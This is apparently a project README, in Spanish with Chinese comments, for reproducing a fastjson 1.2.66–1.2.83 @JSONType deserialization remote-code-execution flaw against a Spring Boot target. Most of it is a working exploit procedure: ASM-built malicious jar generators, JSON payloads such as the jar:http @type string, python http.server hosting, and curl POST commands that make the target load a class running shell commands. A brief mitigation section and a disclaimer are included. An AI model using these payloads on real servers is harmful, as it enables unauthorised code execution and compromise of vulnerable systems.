
Reproduce la RCE de fastjson 1.2.83 @JSONType con un objetivo Spring Boot vulnerable y un generador de payloads basado en ASM que utiliza cadenas jar mediante protocolo HTTP o de archivo.
@JSONType en fastjson 1.2.83
Proyecto de reproducción de carga remota de clases / ejecución de comandos en fastjson 1.2.66 ~ 1.2.83 mediante la anotación @JSONType + nombre de clase ilegal + protocolo jar:.
⚠️ Descargo de responsabilidad
Este proyecto se proporciona únicamente para investigación de seguridad, reproducción de vulnerabilidades y pruebas autorizadas. Queda estrictamente prohibido su uso en sistemas no autorizados, ataques ilegales o con fines malintencionados. El usuario es el único responsable de sus propias acciones; el autor no asume ninguna responsabilidad legal por ningún uso indebido.
Artículo de referencia para el análisis de la vulnerabilidad: https://mp.weixin.qq.com/s/_4Tnren1hIBToZvHlaKq8w
Este proyecto construye un entorno completo de reproducción de la vulnerabilidad fastjson 1.2.83 en torno a CVE-2026-16723:
demo/ —— Aplicación web Spring Boot 2.7.18 vulnerable (dependencia de fastjson 1.2.83), que expone el endpoint POST /parse y llama directamente a JSON.parse(json);exp/ —— Generador de jars de sonda maliciosa basado en ASM (dos variantes: protocolo HTTP / protocolo FILE);环境/ —— FatJars precompilados de tres middlewares (Tomcat / Jetty / Undertow), listos para usar.Idea clave de la explotación: mediante la construcción de un JSON especial cuyo @type es una URL jar, se consigue que fastjson recorra la rama de confianza de la anotación @JSONType → getResourceAsStream descarga el jar remoto/local → defineClass carga la clase maliciosa → la inicialización de la clase dispara <clinit> → ejecución arbitraria de comandos (RCE).
JSON.parse(json) o JSON.parseObject(json) para analizar directamente entradas no confiables, con una versión de fastjson entre 1.2.66 ~ 1.2.83 y safeMode desactivado;java -jar, LaunchedURLClassLoader; solo Spring Boot ≤ 2.7 conserva la capacidad de retroceso del handler del protocolo jar:);defineClass lanza ClassFormatError; como máximo solo se puede lograr SSRF);El checkAutoType de fastjson entra en la rama de confianza cuando encuentra una clase anotada con @JSONType, omitiendo la mayor parte de las validaciones de la lista negra y permitiendo su carga. Este proyecto aprovecha este punto usando ASM para escribir bytecode directamente, colocando un «nombre de clase interna ilegal» en el this_class del pool de constantes de la clase, de modo que los tres nombres quedan perfectamente alineados:
@type jar:http:..2130706433:19090.x!.y (点形态,无斜杠)
resource jar:http://2130706433:19090/x!/y.class (点 -> 斜杠)
this_class jar:http://2130706433:19090/x!/y (字节码内部类名)
Estructura de la clase maliciosa:
@JSONType —— la llave que abre la rama de confianza del checkAutoType de fastjson;<init>()V —— garantiza que fastjson pueda instanciar la clase con normalidad;<clinit> —— en la inicialización de la carga de la clase se ejecuta Runtime.exec(new String[]{"/bin/bash", "-c", "<cmd>"}), logrando la ejecución de comandos.Un nombre de clase ilegal no se puede escribir con
javac; solo ASM puede escribir la URL directamente en el pool de constantes — por eso el generador de este proyecto depende deasm-9.6.jar.
CVE-2026-16723_fastjson-jsontype漏洞/
├── 笔记.txt # 快速利用速查(http / file 协议两条命令)
├── demo/ # 漏洞靶场源码(Spring Boot 2.7.18 + fastjson 1.2.83)
│ └── src/main/java/com/example/demo/
│ ├── DemoApplication.java
│ └── controller/VulController.java # POST /parse -> JSON.parse(json)
├── exp/ # 恶意探针 jar 生成器
│ ├── GenProbeHttp.java # HTTP 协议链(jar:http)
│ ├── GenProbefile.java # FILE 协议链(jar:file)
│ └── asm-9.6.jar # ASM 字节码操作库
└── 环境/ # 预编译靶场 FatJar(开箱即用)
├── demo-0.0.1-SNAPSHOT.jar # Tomcat 中间件
├── demo-0.0.1-SNAPSHOT-jetty.jar # Jetty 中间件
├── demo-0.0.1-SNAPSHOT-Undertow.jar # Undertow 中间件
└── asm-9.6.jar
demo/src/main/java/com/example/demo/controller/VulController.java:
@PostMapping("/parse")
public String parse(@RequestBody String json) {
ParserConfig.getGlobalInstance().setAsmEnable(false);
ParserConfig.getGlobalInstance().setDefaultClassLoader(ParserConfig.class.getClassLoader());
JSON.parse(json); // 未指定类型,直接解析不可信输入
return "Parsed!";
}
El laboratorio debe ejecutarse en un entorno JDK 8 (coherente con las condiciones de explotación).
# 方式 A(推荐):直接使用预编译 FatJar,三种中间件任选
java -jar ../环境/demo-0.0.1-SNAPSHOT.jar # Tomcat
java -jar ../环境/demo-0.0.1-SNAPSHOT-jetty.jar # Jetty
java -jar ../环境/demo-0.0.1-SNAPSHOT-Undertow.jar # Undertow
# 方式 B:源码构建运行(默认 Tomcat,需本机安装 Maven)
cd demo
mvn spring-boot:run
Dirección del endpoint tras el arranque: http://127.0.0.1:8080/parse
cd exp
javac -cp asm-9.6.jar GenProbeHttp.java
java -cp asm-9.6.jar:. GenProbeHttp 19090 'open -a Calculator'
19090 —— Puerto HTTP de alojamiento del jar maliciosoopen -a Calculator —— Comando que se ejecutará en la máquina objetivo (abre la calculadora en macOS;
en Linux se puede usar id > /tmp/pwned 2>&1 para verificar si el archivo existe)Por defecto se genera el archivo x (sin extensión), que contiene y.class;
el payload es:
{"@type":"jar:http:..2130706433:19090.x!.y","x":1}
python3 -m http.server 19090
Asegúrate de que
python3 -m http.serverse inicie en el directorio donde se generó el archivox.
curl -X POST http://127.0.0.1:8080/parse \
-H 'Content-Type: application/json' \
-d '{"@type":"jar:http:..2130706433:19090.x!.y","x":1}'
El resultado de la ejecución del comando no se refleja en la respuesta HTTP; hay que confirmarlo en la máquina objetivo:
# Linux 目标
cat /tmp/pwned # 能看到 uid=... 即命令执行成功
# macOS 目标
# 观察是否弹出计算器(open -a Calculator)
Escenario de uso: el objetivo no puede acceder al puerto HTTP del equipo atacante (aislamiento de red interna / salida a Internet restringida), pero se puede colocar el archivo jar en el sistema de archivos de la máquina objetivo.
cd exp
javac -cp asm-9.6.jar GenProbefile.java
java -cp asm-9.6.jar:. GenProbefile 19090 'open -a Calculator'
El generador calcula la URL jar:file: basándose en el directorio actual (el separador de directorios / se reemplaza por .); por ejemplo, si se genera en /tmp/project/exp, el payload es:
{"@type":"jar:file:.tmp.project.exp.y!.x","x":1}
Sube/copia el archivo generado y a la ruta absoluta de la máquina objetivo que corresponde al @type (por ejemplo, /tmp/project/exp/y), manteniendo la misma estructura de directorios.
curl -X POST http://127.0.0.1:8080/parse \
-H 'Content-Type: application/json' \
-d '{"@type":"jar:file:.tmp.project.exp.y!.x","x":1}'
Nota: la ruta de la cadena FILE debe ser exactamente idéntica a la ruta real del archivo en la máquina objetivo; de lo contrario, el sondeo de recursos falla y no se puede activar la carga.
2130706433 es el entero sin signo de 32 bits de 127.0.0.1; escribirlo como entero evita que el . de la IP se vea alterado por la lógica de reemplazo . → / de fastjson. Cuando el equipo atacante no está en la máquina local:
python3 -c "import socket,struct;print(struct.unpack('!I',socket.inet_aton('你的IP'))[0])"
autoType is not support. jar:http:...Indica que el jar se pudo descargar (el SSRF ya se ha confirmado), pero TypeUtils.loadClass devolvió null. Prácticamente solo hay dos causas:
@JSONType —— el sondeo no supera la rama de confianza y ni siquiera llega a loadClass;@type —— el nombre real de la clase no coincide con el usado en defineClass, por lo que la carga falla.El generador de este proyecto ya resuelve ambos puntos a la vez: anotación @JSONType + alineación de los tres nombres.
Si el ClassLoader del objetivo no es LaunchedURLClassLoader (por ejemplo, ejecución directa desde el IDE, un war normal o Spring Boot 3.x), la cadena de un solo envío jar:http no logra RCE; como máximo solo se puede verificar SSRF.
En JDK 9+, defineClass valida de forma más estricta los nombres de clase ilegales y lanza ClassFormatError, rompiendo la cadena en la fase de carga.
ParserConfig.getGlobalInstance().setSafeMode(true); deshabilita por completo autoType;JSON.parse(json) / JSON.parseObject(json) con entradas del usuario; utiliza en su lugar JSON.parseObject(json, Xxx.class) para especificar explícitamente el tipo de destino;ParserConfig.addAccept(...) solo se permiten clases de confianza;@type sospechosas con un WAF.Si este proyecto te resulta útil, te invitamos a darle ⭐ Star para apoyar la investigación de seguridad y la documentación de vulnerabilidades.
⚠️ Úsalo únicamente para pruebas autorizadas, ¡nunca con fines ilegales!
| Elemento | Descripción |
|---|
| CVE | CVE-2026-16723 |
| Componente | Alibaba fastjson |
| Versiones afectadas | 1.2.66 ~ 1.2.83 (la última versión de la serie 1.x sigue afectada) |
| Tipo de vulnerabilidad | Ejecución remota de código mediante deserialización (RCE) |
| Punto de entrada | JSON.parse(json) / JSON.parseObject(json) (sin especificar un tipo concreto) |
| Requisitos previos | Objetivo con Spring Boot FatJar, JDK 8, safeMode desactivado |
| Parámetro | Valor por defecto | Descripción |
|---|
port | 19090 | Puerto de alojamiento del jar malicioso |
cmd | id > /tmp/pwned 2>&1 | Comando que se ejecuta en la máquina objetivo |
hostToken | 2130706433 | IP en formato entero a la que accede el objetivo (127.0.0.1) |
entry | y | Nombre de la entrada class dentro del jar |
outFile | x | Nombre del archivo jar generado (sin extensión) |
| Parámetro | Valor por defecto | Descripción |
|---|
port | 19090 | Parámetro reservado (la cadena FILE no utiliza puerto) |
cmd | id > /tmp/pwned 2>&1 | Comando que se ejecuta en la máquina objetivo |
dir | directorio actual | Directorio del jar en la máquina objetivo (se usa para generar la URL jar:file:) |
entry | x | Nombre de la entrada class dentro del jar |
outFile | y | Nombre del archivo jar generado (sin extensión) |